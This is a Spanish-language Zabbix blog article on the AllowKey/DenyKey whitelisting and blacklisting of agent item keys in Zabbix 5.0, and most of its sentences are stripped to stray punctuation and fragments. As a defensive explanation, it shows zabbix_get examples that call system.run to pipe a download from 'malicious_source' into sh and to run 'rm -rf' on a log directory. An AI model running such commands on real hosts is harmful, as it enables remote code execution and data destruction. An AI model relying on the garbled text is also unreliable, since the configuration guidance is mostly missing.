Soporte para listas blancas y negras para métricas en el lado del agente en Zabbix 5.0



Soporte para listas blancas y negras para métricas del lado del agente



Tikhon Uskov , ingeniero de integración, Zabbix



Preocupaciones por la seguridad de los datos



Zabbix 5.0 introduce una nueva característica que mejora la seguridad en los sistemas que usan Zabbix Agent y reemplaza el antiguo parámetro EnableRemoteCommands .



, .



  • , , , , .


, zabbix_get , , . .





zabbix_get



. , . , , /etc/passwd/ .



  • . , *system.run[]** , - Zabbix , .


# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]


  • Linux root-, Windows System . , Zabbix Agent , , WMI .


EnableRemoteCommands=0 *system.run[]** -, , , , .





EnableRemoteCommand Zabbix



AllowKey/DenyKey



Zabbix 5.0 .



Zabbix 5.0 , *system.run[]**, , :



AllowKey= — ;



DenyKey= — ;



— , (*).

AllowKey DenyKey . AllowKey/DenyKey . , — , .





, . , , . , .



, , , .





2 vfs.file.size[/tmp/file]



AllowKey/DenyKey:



  1. ,
  2. ,
  3. .


, , , , . , .







2 *system.run[]**, , , , .











— (wildcard). (*) . , . , , wildcard.



[].



  • system.run[*
  • vfs.file*.txt]
  • vfs.file.*[*]


wildcard.



  1. . , , , .
  2. , , .
  3. , wildcard, , . . .




.



  • , . . - , — .






  • , , . , CPU , system.cpu.load[*] , , .










  • , , (discovery) . AllowKey/DenyKey :

    — HostnameItem

    — HostMetadataItem

    — HostInterfaceItem


. - , Zabbix , 'NOTSUPPORTED'. log- . , , - .



  • - (, ).




, .



:



  • Zabbix.
  • zabbix_agentd. Zabbix agent c -print (-p) ( ), , . -test (-t) 'Unsupported item key'.
  • zabbix_get. zabbix_get -k 'ZBX_NOTSUPPORTED: Unknown metric'.




, , zabbix_get, .





**



. .



. , .





, .





. , ? , , , Zabbix?



. regex, , , , . Regex — , . Wildcards — , .



. Include ?



. , , , . AllowKey/DenyKey Include, , .



. Zabbix 5.0 'EnableRemoteCommands=' , AllowKey/DenyKey?



. , .



!




All Articles